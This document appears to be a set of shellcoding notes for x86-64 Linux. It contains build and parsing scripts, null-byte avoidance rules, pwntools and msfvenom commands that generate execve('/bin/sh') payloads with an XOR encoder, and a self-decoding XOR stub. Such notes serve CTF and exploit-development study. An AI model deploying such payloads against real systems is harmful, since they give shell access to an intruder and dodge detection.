Shellcoding
Basic toolchain
Code
#!/bin/bash
# build-shellcode.sh
if [ -z "$1" ]; then
echo "Usage: $0 filename"
exit 1
fi
run_flag=false
if [ "$2" == "--run" ]; then
run_flag=true
fi
filename=$(basename -- "$1")
filename_noext="${filename%.*}"
nasm -f elf64 "$1" -o "${filename_noext}.o"
ld "${filename_noext}.o" -o "${filename_noext}.linked"
python parse-shellcode.py "${filename_noext}.linked"
if [ "$run_flag" == true ]; then
./"${filename_noext}.linked"
fi
#!/usr/bin/python3
# parse-shellcode.py
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")
file = ELF(sys.argv[1])
shellcode = file.section(".text")
print(shellcode.hex())
print(''.join([r'\x{:02x}'.format(c) for c in shellcode]))
print("%d bytes - Found NULL bytes" % len(shellcode)) if [i for i in shellcode if i == 0] else print("%d bytes - No NULL bytes" % len(shellcode))
Usage
./build-shellcode.sh some_asm_shellcode.asm --run
Shellcode ASM template
shellcode_asm_template.asm
section .text
global _start
_start:
xor rax, rax
mov rax, 0x6574616161616c70
push rax
mov rax, 0x6d657420656d6f53
push rax
xor rax, rax
mov al, 0x01
mov dil, 0x01
mov rsi, rsp
mov dl, 16
syscall
xor al, al
mov al, 0x3c
xor dil, dil
syscall
Compliance
The shellcode must fill the following requirements:
- Does not contain variables
- The entire shellcode must be under the
.text
section. - Move strings to the stack, max size per "push" is 8 bytes, in reverse order.
- The entire shellcode must be under the
mov rbx, 'hi'
push rbx
mov rbx, 'bonjour '
push rbx
mov rsi, rsp
- Does not refer to direct memory addresses
- Replace with calls to labels or rip-relative addresses (for calls and loops)
- Push to the Stack and use rsp as the address (for mov and other assembly instructions)
- Does not contain any null bytes (00)
- Use registers that match the data size (like
mov al, 1
instead ofmov rax, 1
)
- Use registers that match the data size (like
mov bx, 'hi'
push bx
mov rbx, 'bonjour '
push rbx
mov rsi, rsp
mov al, 1
mov dil, 1
mov dl, 10
syscall
With pwntools
pwn asm 'pop rax; push rax;' -c 'amd64'
#
# 5850
#
pwn disasm '5850' -c 'amd64'
#
# 0: 58 pop rax
# 1: 50 push rax
#
pwn disasm '6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05' -c amd64
python
>>> from pwn import *
>>> context.update(arch='amd64', os='linux')
>>> asm('mov rax,1')
>>> asm('mov rax,1').hex()
>>> printb = lambda x: print(' '.join(f'{byte:02x}' for byte in x))
>>> lprintb = lambda filename: print(' '.join(f'{byte:02x}' for byte in ELF(filename).section('.text')))
>>> printb(ELF('someExe').section('.text'))
>>> run_shellcode(unhex('4831db66bb7921...')).interactive()
Shellcrafting
pwn shellcraft -l 'amd64.linux'
pwn shellcraft amd64.linux.sh
from pwn import *
context(os="linux", arch="amd64", log_level="error")
dir(shellcraft)
syscall = shellcraft.execve(path='/bin/sh', argv=['/bin/sh'])
asm(syscall).hex()
With msfvenom
msfvenom -l payloads | grep 'linux/x64'
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex'
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'
python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('...'))" > shell.bin
msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' < shell.bin
Self modifying shellcode on the stack (XOR)
Requires executable and writeable stack
(gdb) info proc map
Start Addr End Addr Size Offset Perms objfile
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rwxp [stack]
section .text
global _start
_start:
sub rsp, shellcode_len
jmp short call_encoded_shellcode
shellcode:
pop rsi
xor rcx, rcx
mov rdi, rsp
mov cl, shellcode_len
rep movsb
mov cl, shellcode_len
mov bl, 0xaa
mov rsi, rsp
decode_loop:
xor byte [rsi], bl
inc rsi
loop decode_loop
jmp rsp
call_encoded_shellcode:
call shellcode
encoded_shellcode:
db 0xe2,0x9b,0x6a ; Add a already XORed shellcode here
shellcode_len equ $ - encoded_shellcode